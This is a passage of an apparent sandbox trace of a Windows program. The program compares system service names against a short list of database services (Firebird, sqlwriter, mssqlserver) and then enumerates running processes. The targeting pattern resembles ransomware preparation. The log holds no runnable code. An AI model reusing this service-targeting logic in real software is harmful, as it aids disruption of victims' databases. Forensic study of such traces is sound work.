lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0231.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0231.754] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0231.754] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0231.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0231.754] lstrlenW (lpString="DcomLaunch") returned 10 [0231.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0231.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0231.755] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0231.755] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0231.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0231.755] lstrlenW (lpString="DeviceAssociationService") returned 24 [0231.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0231.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0231.755] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0231.755] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0231.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0231.755] lstrlenW (lpString="Dhcp") returned 4 [0231.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0231.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0231.755] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0231.755] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0231.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0231.755] lstrlenW (lpString="Dnscache") returned 8 [0231.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0231.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0231.755] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0231.755] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0231.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0231.755] lstrlenW (lpString="DPS") returned 3 [0231.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0231.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0231.755] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0231.755] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0231.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0231.755] lstrlenW (lpString="DusmSvc") returned 7 [0231.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0231.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0231.755] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0231.755] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0231.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0231.755] lstrlenW (lpString="EventLog") returned 8 [0231.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0231.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0231.755] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0231.755] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0231.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0231.755] lstrlenW (lpString="EventSystem") returned 11 [0231.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0231.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0231.755] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0231.755] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0231.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0231.755] lstrlenW (lpString="FontCache") returned 9 [0231.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0231.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0231.755] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0231.755] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0231.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0231.756] lstrlenW (lpString="gpsvc") returned 5 [0231.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0231.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0231.756] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0231.756] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0231.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0231.756] lstrlenW (lpString="iphlpsvc") returned 8 [0231.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0231.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0231.756] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0231.756] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0231.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0231.756] lstrlenW (lpString="KeyIso") returned 6 [0231.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0231.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0231.756] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0231.756] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0231.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0231.756] lstrlenW (lpString="LanmanServer") returned 12 [0231.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0231.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0231.756] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0231.756] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0231.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0231.756] lstrlenW (lpString="LanmanWorkstation") returned 17 [0231.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0231.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0231.756] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0231.756] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0231.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0231.756] lstrlenW (lpString="lfsvc") returned 5 [0231.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0231.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0231.756] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0231.756] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0231.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0231.756] lstrlenW (lpString="lmhosts") returned 7 [0231.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0231.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0231.756] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0231.756] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0231.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0231.756] lstrlenW (lpString="LSM") returned 3 [0231.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0231.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0231.756] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0231.756] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0231.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0231.756] lstrlenW (lpString="MpsSvc") returned 6 [0231.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0231.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0231.757] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0231.757] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0231.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0231.757] lstrlenW (lpString="NcbService") returned 10 [0231.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0231.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0231.757] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0231.757] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0231.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0231.757] lstrlenW (lpString="netprofm") returned 8 [0231.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0231.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0231.757] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0231.757] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0231.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0231.757] lstrlenW (lpString="NgcSvc") returned 6 [0231.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0231.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0231.757] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0231.757] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0231.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0231.757] lstrlenW (lpString="NlaSvc") returned 6 [0231.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0231.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0231.757] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0231.757] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0231.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0231.757] lstrlenW (lpString="nsi") returned 3 [0231.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0231.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0231.757] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0231.757] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0231.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0231.757] lstrlenW (lpString="PcaSvc") returned 6 [0231.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0231.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0231.757] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0231.757] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0231.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0231.757] lstrlenW (lpString="PlugPlay") returned 8 [0231.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0231.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0231.757] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0231.757] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0231.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0231.757] lstrlenW (lpString="Power") returned 5 [0231.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0231.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0231.757] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0231.757] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0231.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0231.758] lstrlenW (lpString="ProfSvc") returned 7 [0231.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0231.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0231.758] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0231.758] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0231.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0231.758] lstrlenW (lpString="RpcEptMapper") returned 12 [0231.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0231.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0231.758] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0231.758] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0231.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0231.758] lstrlenW (lpString="RpcSs") returned 5 [0231.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0231.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0231.758] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0231.758] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0231.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0231.758] lstrlenW (lpString="SamSs") returned 5 [0231.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0231.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0231.758] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0231.758] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0231.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0231.758] lstrlenW (lpString="Schedule") returned 8 [0231.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0231.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0231.758] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0231.758] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0231.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0231.758] lstrlenW (lpString="SecurityHealthService") returned 21 [0231.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0231.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0231.758] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0231.758] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0231.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0231.758] lstrlenW (lpString="SENS") returned 4 [0231.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0231.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0231.758] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0231.758] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0231.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0231.758] lstrlenW (lpString="ShellHWDetection") returned 16 [0231.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0231.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0231.758] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0231.758] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0231.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0231.758] lstrlenW (lpString="Spooler") returned 7 [0231.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0231.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0231.759] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0231.759] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0231.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0231.759] lstrlenW (lpString="StateRepository") returned 15 [0231.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0231.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0231.759] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0231.759] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0231.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0231.937] lstrlenW (lpString="SysMain") returned 7 [0231.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0231.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0231.937] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0231.937] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0231.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0231.937] lstrlenW (lpString="SystemEventsBroker") returned 18 [0231.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0231.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0231.938] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0231.938] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0231.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0231.938] lstrlenW (lpString="Themes") returned 6 [0231.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0231.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0231.938] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0231.938] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0231.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0231.938] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0231.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0231.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0231.938] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0231.938] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0231.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0231.938] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0231.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0231.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0231.938] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0231.938] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0231.938] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5ded10 | out: hHeap=0x4f0000) returned 1 [0231.938] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4cc [0231.941] Process32FirstW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.941] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0231.942] lstrlenW (lpString="System") returned 6 [0231.942] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0231.942] lstrlenW (lpString="smss.exe") returned 8 [0231.942] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0231.942] lstrlenW (lpString="csrss.exe") returned 9 [0231.942] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0231.943] lstrlenW (lpString="wininit.exe") returned 11 [0231.943] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0231.943] lstrlenW (lpString="csrss.exe") returned 9 [0231.943] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0231.943] lstrlenW (lpString="winlogon.exe") returned 12 [0231.943] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0231.944] lstrlenW (lpString="services.exe") returned 12 [0231.944] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0231.944] lstrlenW (lpString="lsass.exe") returned 9 [0231.944] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0231.944] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0231.944] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0231.945] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0231.945] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.945] lstrlenW (lpString="svchost.exe") returned 11 [0231.945] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.945] lstrlenW (lpString="svchost.exe") returned 11 [0231.945] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0231.946] lstrlenW (lpString="dwm.exe") returned 7 [0231.946] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.946] lstrlenW (lpString="svchost.exe") returned 11 [0231.946] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.947] lstrlenW (lpString="svchost.exe") returned 11 [0231.947] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.947] lstrlenW (lpString="svchost.exe") returned 11 [0231.947] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.947] lstrlenW (lpString="svchost.exe") returned 11 [0231.947] Process32NextW (in: 